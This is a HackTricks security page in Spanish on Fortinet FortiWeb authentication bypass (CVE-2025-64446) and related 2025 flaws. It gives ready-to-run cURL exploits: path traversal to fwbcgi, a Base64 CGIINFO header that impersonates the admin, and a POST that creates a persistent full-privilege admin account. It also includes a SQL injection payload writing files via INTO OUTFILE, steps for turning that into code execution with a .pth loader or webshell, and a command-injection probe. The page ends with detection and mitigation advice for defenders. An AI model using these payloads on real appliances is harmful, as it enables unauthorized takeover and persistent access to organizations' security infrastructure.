Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Descripción general

Fortinet FortiWeb expone un despachador CGI centralizado en /cgi-bin/fwbcgi. Una cadena de dos bugs permite que un atacante remoto no autenticado:

  • Alcanzar fwbcgi iniciando la URL con un API prefix válido y recorriendo directorios.
  • Suplantar a cualquier usuario (incluido el admin incorporado) mediante el envío de un HTTP header especial que el CGI acepta como identidad.

Aviso del proveedor: FG‑IR‑25‑910 (CVE‑2025‑64446). Se ha observado explotación en entornos reales para crear usuarios admin persistentes.

Versiones afectadas (según documentación pública):

  • 8.0 < 8.0.2
  • 7.6 < 7.6.5
  • 7.4 < 7.4.10
  • 7.2 < 7.2.12
  • 7.0 < 7.0.12
  • 6.4 ≤ 6.4.3
  • 6.3 ≤ 6.3.23

FortiWeb 8.0.2 devuelve HTTP 403 para la prueba de traversal mostrada abajo.

Prueba rápida de vulnerabilidad

  • Path traversal from API prefix to fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
  • Interpretación: HTTP 200 → probablemente vulnerable; HTTP 403 → parcheado.

Cadena de causa raíz

  1. API-prefix path traversal to internal CGI
  • Cualquier ruta de solicitud que comience con un prefijo de API válido de FortiWeb (p. ej., /api/v2.0/cmdb/ o /api/v2.0/cmd/) puede realizar path traversal con ../ hasta /cgi-bin/fwbcgi.
  1. Minimal-body validation bypass
  • Una vez alcanzado fwbcgi, una primera barrera realiza una comprobación permisiva de JSON basada en un archivo por ruta bajo /var/log/inputcheck/. Si el archivo está ausente, la comprobación pasa inmediatamente. Si está presente, el body solo necesita ser JSON válido. Usa {} como body mínimo válido.
  1. Header-driven user impersonation
  • El programa lee la variable de entorno CGI HTTP_CGIINFO (derivada del header HTTP CGIINFO), la decodifica Base64, parsea JSON y copia atributos directamente en el contexto de login, estableciendo el domain/VDOM. Claves de interés:
  • username, loginname, vdom, profname
  • Ejemplo de JSON para suplantar al administrador integrado:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}

Base64 de lo anterior (como se usa en el mundo real):

eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==

End-to-end abuse pattern (unauthenticated → admin)

  1. Alcanzar /cgi-bin/fwbcgi via an API-prefix traversal.
  2. Proveer cualquier cuerpo JSON válido (p. ej., {}) para satisfacer la comprobación de entrada.
  3. Enviar la cabecera CGIINFO: <base64(json)> donde el JSON define la identidad objetivo.
  4. Hacer POST del JSON de backend esperado por fwbcgi para realizar acciones privilegiadas (p. ej., crear un usuario administrador para persistencia).

Minimal cURL PoC

  • Sondear exposición de traversal:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
  • Suplantar a admin y crear un nuevo usuario local admin:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='

curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'

Notas:

  • Cualquier cuerpo JSON válido es suficiente (p. ej., {}) si /var/log/inputcheck/<path>.json no existe.
  • El esquema de acción es FortiWeb-internal; el ejemplo anterior añade un administrador local con privilegios completos.

Otras vulnerabilidades de FortiWeb 2025 que vale la pena comprobar rápidamente

Pre-auth Fabric Connector SQLi → RCE (CVE-2025-25257)

  • Affects 7.6.0–7.6.3, 7.4.0–7.4.7, 7.2.0–7.2.10, 7.0.0–7.0.10. Fixed in 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11.
  • Fallo: get_fabric_user_by_token() usa el valor Authorization: Bearer <token> directamente en una consulta SQL. El atacante suministra SQL que se ejecuta como usuario MySQL y puede escribir archivos mediante SELECT ... INTO OUTFILE, obteniendo ejecución de código (webshell/.pth loader).
  • Superficie de ataque típica: /api/fabric/device/status (and other Fabric Connector endpoints) over HTTP/HTTPS on the management plane.
  • Prueba rápida para SQLi:
curl -sk -X POST \
-H "Authorization: Bearer ' UNION SELECT NULL,NULL,NULL,NULL INTO OUTFILE '/data/var/tmp/pwn.txt' -- -" \
https://<host>/api/fabric/device/status
  • Weaponization: write a .pth into FortiWeb’s Python site-packages that imports os;os.system(...) on interpreter start, or drop a CGI under the webroot. Recargar los servicios ejecutará el payload.
  • Indicadores de hunting: Authorization headers containing quotes/UNION/SELECT; archivos inesperados bajo /data/lib/python*/site-packages/ o /data/var/waf/html/ROOT/cgi-bin/.

FortiCloud SSO signature bypass (CVE-2025-59719)

  • Improper SAML signature verification permite a un atacante falsificar FortiCloud SSO responses e iniciar sesión como admin sin credenciales.
  • Solo explotable cuando FortiCloud SSO login está habilitado (se activa automáticamente si el appliance fue registrado vía GUI, salvo que se desmarcara la checkbox).
  • Affected (per PSIRT): 8.0.0, 7.6.0–7.6.4, 7.4.0–7.4.9. Patched in 8.0.1 / 7.6.5 / 7.4.10.

OS command injection in management plane (CVE-2025-58034)

  • Affected: 7.0.0–7.0.11, 7.2.0–7.2.11, 7.4.0–7.4.10, 7.6.0–7.6.5, 8.0.0–8.0.1. Fixed in 7.0.12 / 7.2.12 / 7.4.11 / 7.6.6 / 8.0.2.
  • Practical probe (non-destructive): enviar un parámetro que contenga ;id; a los management HTTP endpoints y observar respuestas 500 con salida del comando; bloquear o parchear inmediatamente si se aprecia cualquier salida.

Detection

  • Requests reaching /cgi-bin/fwbcgi via API-prefix paths containing ../ (e.g., /api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi).
  • Presence of header CGIINFO with Base64 JSON containing keys username/loginname/vdom/profname.
  • Fabric Connector SQLi: Authorization headers containing SQL metacharacters, archivos súbitos en Python site-packages/CGI dirs, accesos a /api/fabric/device/status desde IPs de Internet.
  • FortiCloud SSO: issuers SAML inesperados o valores de audience en /var/log/ssod.
  • Backend artifacts:
  • Per-path files under /var/log/inputcheck/ (gate configuration).
  • Creación inesperada de admin y cambios de configuración.
  • Validación rápida: la traversal probe devolviendo 200 (expuesto) vs 403 (bloqueado en builds parchados).

Mitigation

  • Actualizar a las releases corregidas (ejemplos: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) según el advisory del vendor.
  • Parchear los demás flaws de 2025: SQLi (7.6.4/7.4.8/7.2.11/7.0.11), SSO bypass (8.0.1/7.6.5/7.4.10), command injection (7.6.6/7.4.11/7.2.12/7.0.12/8.0.2).
  • Hasta aplicar parches:
  • No exponga el management plane de FortiWeb a redes no confiables.
  • Añadir reglas de reverse-proxy/WAF para bloquear:
  • Rutas que empiezan con /api/ y contienen ../cgi-bin/fwbcgi.
  • Solicitudes que porten un header CGIINFO.
  • Llamadas de Fabric Connector con metacaracteres SQL en Authorization.
  • Endpoints SAML desde Internet si FortiCloud SSO no se usa.
  • Monitorear y alertar sobre los indicadores de detection anteriores.

References

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks